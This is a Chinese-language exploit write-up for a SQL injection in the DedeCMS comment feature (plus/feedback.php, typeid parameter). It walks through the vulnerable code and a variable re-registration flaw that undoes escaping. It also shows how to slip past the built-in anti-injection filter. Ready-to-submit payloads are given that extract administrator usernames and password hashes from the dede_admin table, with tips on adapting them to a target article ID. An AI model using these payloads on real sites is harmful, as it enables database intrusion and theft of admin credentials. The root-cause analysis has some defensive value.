那天乌云上发了dedecms feed.back  typeid的注入漏洞，下午就被忽略然后修复了。作者没公布利用方法，然后第二天就有了这篇文章....
该漏洞是cyg07在乌云提交的， 漏洞文件: plus\feedback.php。
存在问题的代码:

...
if($comtype == 'comments')
  {
  $arctitle = addslashes($title);
  if($msg!='')
  {//$typeid变量未做初始化
    $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`)
       VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime', '{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg'); ";
      echo $inquery;//调试，输出查询语句
    $rs = $dsql->ExecuteNoneQuery($inquery);
    if(!$rs)
    {
      ShowMsg(' 发表评论错误! ', '-1');
      //echo $dsql->GetError();
      exit();
    }
  }
  }
  //引用回复
  elseif ($comtype == 'reply')
  {
  $row = $dsql->GetOne("SELECT * FROM `#@__feedback` WHERE id ='$fid'");
  $arctitle = $row['arctitle'];
  $aid =$row['aid'];
  $msg = $quotemsg.$msg;
  $msg = HtmlReplace($msg, 2);
  $inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`)
      VALUES ('$aid','$typeid','$username','$arctitle','$ip','$ischeck','$dtime','{$cfg_ml->M_ID}','0','0','$feedbacktype','$face','$msg')";
  $dsql->ExecuteNoneQuery($inquery);
}

 

完整的输入语句，第二个参数 typeid可控。

INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ('108','2','游客','paxmac','127.0.0.1','1','1351774092', '0','0','0','feedback','0','nsfocus&&paxmac team');

common.inc.php文件 会把所有的request进行处理。

function _RunMagicQuotes(&$svar)
{
  if(!get_magic_quotes_gpc())
  {
  if( is_array($svar) )
  {
    foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
  }
  else
  {
    if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) )
    {
    exit('Request var not allow!');
    }
    $svar = addslashes($svar);
  }
  }
  return $svar;
}
…..
foreach(Array('_GET','_POST','_COOKIE') as $_request)
  {
  foreach($$_request as $_k => $_v) 
      {
        if($_k == 'nvarname') ${$_k} = $_v;
        else ${$_k} = _RunMagicQuotes($_v);
      }
  }
….

从上面代码可以看到他对外来的提交进行了转义处理，但是在filter.ini.php文件中

function _FilterAll($fk, &$svar)
{
  global $cfg_notallowstr,$cfg_replacestr;
  if( is_array($svar) )
  {
  foreach($svar as $_k => $_v)
  {
    $svar[$_k] = _FilterAll($fk,$_v);
  }
  }
  else
  {
  if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
  {
    ShowMsg(" $fk has not allow words!",'-1');
    exit();
  }
  if($cfg_replacestr!='')
  {
    $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
  }
  }
  return $svar;
}

/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
  foreach($$_request as $_k => $_v)
  {
  ${$_k} = _FilterAll($_k,$_v);
  }
}

上面是处理敏感词的代码，但是又对变量进行了注册，导致了变量二次覆盖漏洞。其实这漏洞很早前就存在，之前的是因为对提交的变量只检查一维数组的key，可以被绕过从而创建不允许的系统配置变量，dedecms历来的修改都让人摸不着头脑，修补的都是表面的东西，实质导致漏洞问题的原因不做修改。从这次的补丁看来，他就只加了一句判断$typeid是否为数字，对于80sec的防注入代码2次被绕过还继续无视。
所以在GPC=OFF的时候，被转义的变量又会被重新覆盖而变成正常代码。
Eg: typeid=2\’ 经过覆盖 typeid=2’
研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于\到\之间的内容作为可信任，不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法，他的值@`’`为空,下面来构造漏洞exp:
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111
我用tamper data提交此参数，

其实这里也利用了一个小bug

可以看到他的表结构，只有msg可以为null，但是利用代码中在username中用了null，这是非法的语句，单独插入是不会成功的，但是后面一句语句是成立的，insert (a,b) values (1,1)(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题，所以选择了msg字段作为输出。
补充 ：`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`  aid是文章的ID 所以直接用我的语句是不成功的,需要修改成自己的文章ID
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM `#@__admin`)),(评论文章ID,’1111

如 Tamper提交，（文章id=123）msg改为

mcbang&typeid=0','3','4','5','0','1351739660',%20'0','0','0','0','0','aaaaaa'),('123','2',@`'`,'4','5','1','1351739660',%20'0','0','0','0','0',(SELECT concat(uname,0x5f,pwd,0x5f) from '@#__admin')),(123,'2